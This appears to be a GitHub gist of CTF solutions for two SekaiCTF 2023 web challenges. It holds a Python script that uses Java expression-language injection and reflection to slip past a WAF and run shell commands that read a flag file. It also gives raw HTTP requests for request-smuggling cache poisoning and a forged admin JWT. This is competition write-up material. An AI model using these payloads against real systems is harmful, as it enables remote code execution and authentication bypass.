Skip to content

Instantly share code, notes, and snippets.

@zeyu2001
Created August 28, 2023 00:17
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zeyu2001/1b9e9634f6ec6cd3dcb588180c79bf00 to your computer and use it in GitHub Desktop.
Save zeyu2001/1b9e9634f6ec6cd3dcb588180c79bf00 to your computer and use it in GitHub Desktop.
SekaiCTF 2023

Frog-WAF

Using getClass() and getMethods() to access filtered methods. The goal was to get ${Class.forName('java.lang.Runtime').getRuntime().invoke(null).exec(<RCE>).getInputStream().read()}.

import requests


def get_int(i):

    if i == 0:
        return "message.equals(message).compareTo(message.equals(message))"

    target = i

    one = "message.equals(message).compareTo(message.equals(message.hashCode()))"
    curr = one

    for i in range(target - 1):
        curr = f"message.length().sum({one}, {curr})"

    return curr


def get_chr(i):
    # charAt - 22
    # toChars - 39
    # String.charAt(0).toChars(i)[0].toString()

    return f"message.getClass().getMethods()[{get_int(22)}].invoke(message, {get_int(0)}).getClass().getMethods()[{get_int(39)}].invoke(message,{get_int(i)})[{get_int(0)}].toString()"


def get_str(s):
    res = get_chr(ord(s[0]))
    for i in range(1, len(s)):
        res += f".concat({get_chr(ord(s[i]))})"
    return res


def get_class(s):
    # forName: 2
    # Class.forName(s)

    return f"message.getClass().getClass().getMethods()[{get_int(2)}].invoke(message, {get_str(s)})"
    
# exec - 12

res = ''
for i in range(1,60)
    cmd = f"sh -c $@|sh . echo bash -c \"cat /flag-*.txt | cut -c{i}\""
    r = requests.post("http://frog-waf.chals.sekai.team/addContact", json={
        "firstName": "test", "lastName": "test", "description": "test",
        "country": f"${{{get_class('java.lang.Runtime')}.getMethods()[{get_int(6)}].invoke(null).exec({get_str(cmd)}).getInputStream().read()}}"
    })

    data = r.json()
    violations = data['violations']
    for v in violations:
        if v['fieldName'] == 'country':
            res += chr(int(v['message'].strip(" is not a valid country")))
            print(res)
            break

Chunky

  • Cache server drops Transfer-Encoding but not transfer-encoding.
  • Cache server caches /<user-id>/.well-known/jwks.json.
  • Backend server makes a request to /<user-id>/.well-known/jwks.json to validate the JWT.
  1. Create a post containing our own JWKS JSON.
POST /create_post HTTP/1.1
Host: chunky.chals.sekai.team:8080
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJ1c2VyX2lkIjoiNTZlMDI1NDMtODYxNi00NTM2LTkwNjItZjE4YTRhNDY2YTAzIn0.ZOqyYw.IBTk7DeLUl-CQEGZMP700UINovQ
Connection: close
Content-Length: 709

title=%7b%0d%0a%20%20%22keys%22%3a%20%5b%0d%0a%20%20%20%20%7b%0d%0a%20%20%20%20%20%20%22alg%22%3a%20%22RS256%22%2c%0d%0a%20%20%20%20%20%20%22x5c%22%3a%20%5b%0d%0a%20%20%20%20%20%20%20%20%22MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvrd%2fZuqjjm7IpIQkGF%2fF%5cnhHMhkoUMpknSQ02XN6%2ft9UUQHRWuQ40DJwFLPhz5b%2b9Y6JenwMVTdYB1pHK6XxFe%5cnPgIMXeWQZjlWojQ5aLNsM5ZApbdpTFQLNKHEJCGfKQ%2bcpSsC5dUjh2jJGmV7jJG2%5cntGh8f2AcWn33FidVkqR3kvRqxMhvC8YZkekTQkeZyJ6zeet2FTyB3QswWT4hK0bQ%5cnQA46pWwLjzooidC9fXFx8UUb4e4e6Mj7VgZnd2MahidcJ%2bDhTMlfpBzLKMTcW2%2bZ%5cnlLQQ5kXzjS8qbBPhD7yBYI3vpeTueAVcrSb8UpXsCPwUSWRfKKMe67SLHNznMD6U%5cnVQIDAQAB%22%0d%0a%20%20%20%20%20%20%5d%0d%0a%20%20%20%20%7d%0d%0a%20%20%5d%0d%0a%7d%0d%0a&content=
  1. Poison the cache by sending the following request. The cache server thinks that there are 2 requests, one to /aaaaa and one to /56e02543-8616-4536-9062-f18a4a466a03/.well-known/jwks.json. The backend server, which correctly processes the transfer-encoding header, thinks that the second request is to /post/56e02543-8616-4536-9062-f18a4a466a03/e85a6915-0fe6-4ca6-a5e7-862d00bca6e5
GET /aaaaa HTTP/1.1
Host: localhost
transfer-encoding: chunked
Content-Length: 102

0

GET /post/56e02543-8616-4536-9062-f18a4a466a03/e85a6915-0fe6-4ca6-a5e7-862d00bca6e5 HTTP/1.1
X: GET /56e02543-8616-4536-9062-f18a4a466a03/.well-known/jwks.json HTTP/1.1
Host: localhost

  1. Forge the JWT.
GET /admin/flag HTTP/1.1
Host: localhost
Cookie: session=eyJ1c2VyX2lkIjoiNTZlMDI1NDMtODYxNi00NTM2LTkwNjItZjE4YTRhNDY2YTAzIn0.ZOqyYw.IBTk7DeLUl-CQEGZMP700UINovQ
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.dct-feQ3Pi2UQ-79P7U5AtVfyKHT4J9q0JIqaXYh4H-RU308pKT_sXP70z1FUHrWh8q3rnsYB0ONxHdGU6dcioCS1ZzaMHLs657h25hg8--cA_CAeCcJn3aKxjn4jXlmP9U-6vViRnYjY_ZCVpaPbaF5Uovd6PrW3kgp7Ei2fJVVz6cl8q_ZozGnPt2YR4P0KpajGYyfqeSoFE_3oUBGWveObmAsZknCpcoKwqURMGE9womvE_ifvVuHqs_g677j-NeF4RQ2HVmiaKFMiOYFixCqW6OA_lrJjg4l_TSgEpCOKDvGEwaHWbCHbW-wS63U6SJ1vVZv7silKK10b94z9A
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment